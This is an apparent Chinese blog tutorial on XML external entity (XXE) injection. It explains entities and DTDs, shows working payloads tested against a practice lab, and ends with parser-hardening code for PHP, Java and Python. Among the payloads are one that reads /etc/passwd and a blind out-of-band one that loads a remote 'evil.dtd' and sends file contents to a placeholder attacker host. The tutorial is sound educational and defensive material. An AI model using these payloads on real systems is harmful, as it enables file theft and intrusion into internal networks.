XXE(XML外部实体注入)详解

1. XXE漏洞描述

XXE(XML External Entity Injection)又称为“XML外部实体注入漏洞”。

允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。例如,如果你当前使用的程序为PHP,则可以将libxml_disable_entity_loader设置为TRUE来禁用外部实体,从而起到防御的目的。

2. XML简介

XML 指可扩展标记语言(EXtensible Markup Language)
XML 是一种标记语言,很类似 HTML
主要分为三部分:
文档类型定义(Document Type Definition,DTD),即XML的布局语言;
可扩展的样式语言(Extensible Style Language,XSL),即XML的样式表语言;
可扩展链接语言(Extensible Link Language,XLL)。

2.1 XML与HTML的区别

XML 被设计用来传输和存储数据。
HTML 被设计用来显示数据。

2.2 XML文档构建模块

XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
在这里插入图片描述
所有的 XML 文档(以及 HTML 文档)均由以下简单的构建模块构成:元素、属性、实体、PCDATA、CDATA

2.2.1 实体

实体是用来定义普通文本的变量。实体引用是对实体的引用。
实体又分为一般实体参数实体

  • 一般实体
    -<!ENTITY 实体名称 "实体内容">
    引用一般实体的方法:&实体名称;
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY test SYSTEM "file:///etc/passwd">
]>
<abc>&test;</abc>
在XML实体中适用
  • 参数实体
    -参数实体的声明:<!ENTITY % 实体名称 "实体内容">
    引用参数实体的方法:%实体名称;
<?xml version="1.0"?>
        <!DOCTYPE a [
        <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=c:/test/1.txt">
        <!ENTITY % dtd SYSTEM "http://localhost/evil.xml">
        %dtd;
        %send;
        ]>
        <a></a>

2.2.2 PCDATA

PCDATA 的意思是被解析的字符数据(parsed character data)。
在DTD中,指定某个标签中的内容是字符数据。由于它的内容也是需要解析器来解析的,所有仍然需要转换>, <, &, ', "这5个特殊字符。

在DTD中声明:
    <!ELEMENT name (#PCDATA)> 
    它表示在<name></name>标签之间可以插入字符或者子标签。

2.2.3 CDATA

CDATA 的意思是字符数据(character data),CDATA 是不会被解析器解析的文本。
在DTD中,指定标签中某个属性的类型为字符型。如果需要使用>, <, &, ', "这5个特殊字符,应当用对应的替代替代字符来表示

在DTD中声明:
    <!ATTLIST a b CDATA> 
    它表示在a这个标签中,b属性应该是字符类型。
   比如 <a b="female">
<![CDATA[...]]>:内容不必被XML解析器解析时,使用<![CDATA[...]]>,经常把程序代码嵌入到<![CDATA[...]]>中
在XML中声明:
    <![CDATA[
        if(i<10){
          System.out.println("i<10");
        }
    ]]>

3. DTD

DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。
DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

3.1 DTD实体

DTD实体中,又分为内部实体声明外部实体声明

  • 内部实体声明 :<!ENTITY entity-name "entity-value">
DTD 实例:
<!ENTITY writer "Donald Duck.">
<!ENTITY copyright "Copyright runoob.com">

XML 实例:
<author>&writer;&copyright;</author>
  • 外部实体声明:<!ENTITY entity-name SYSTEM "URI/URL">
DTD 实例:
<!ENTITY writer SYSTEM "http://www.runoob.com/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.runoob.com/entities.dtd">

XML 实例:
<author>&writer;&copyright;</author>

4. XXE分类

4.1 有回显

pichaku靶场为例。
直接抓包,定义回显内容为dsfdsfsf(标签可以自定义)
在这里插入图片描述
放包,内容会回显到页面。
在这里插入图片描述
或者直接输入payload,又分为两种,内部实体和外部实体。

  • 外部实体声明
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY test SYSTEM "file:///etc/passwd">
]>
<abc>&test;</abc>

在这里插入图片描述
当读取的数据存在特殊符号的时候,我们可以用<![CDATA[...]]>,因为XML中不允许出现特殊符号。

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE ANY [
<!ENTITY % start "<![CDATA[">   
<!ENTITY % goodies SYSTEM "file:///d:/test.txt">  
<!ENTITY % end "]]>">  
<!ENTITY % dtd SYSTEM "http://ip/evil.dtd"> 
%dtd; ]> 

<roottag>&all;</roottag>

evil.dtd

<!ENTITY all "%start;%goodies;%end;">  

调用过程:%dtd调用了了http://ip/evil.dtd文件,然后&all;调用文件中的%start;%goodies;%end;

  • 内部实体声明
    只能读取文件。
<?xml version="1.0"?>
<!DOCTYPE note [		<!ENTITY cc "qq">    ]>
<nn>&cc;</nn>

在这里插入图片描述

4.2 无回显

payload:

<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=d:/test.txt">
<!ENTITY % dtd SYSTEM "file:///d:/evil.dtd">
%dtd;%payload;%send;
]>
<a></a>

evil.dtd

<!ENTITY % payload "<!ENTITY &#37; send SYSTEM 'http://ip:9999?content=%file;'>"> 

这里evil.dtd中send前面百分号要进行html实体编码,因为实体的值中不能出现%

5. 漏洞危害

  • 读取任意文件
  • 执行系统命令
  • 探测内网端口
  • 攻击内网网站

6. XXE防御

方案:使用开发语言提供的禁用外部实体的方法

  1. PHP:
libxml_disable_entity_loader(true);
  1. JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
  1. Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

参考资料:
https://blog.csdn.net/bylfsj/article/details/101441734
https://www.cnblogs.com/backlion/p/9302528.html
https://www.bilibili.com/video/BV1Hh411C7oT?from=search&seid=17532396550623932836&spm_id_from=333.337.0.0

  • 2
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

两小姐的便利贴

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值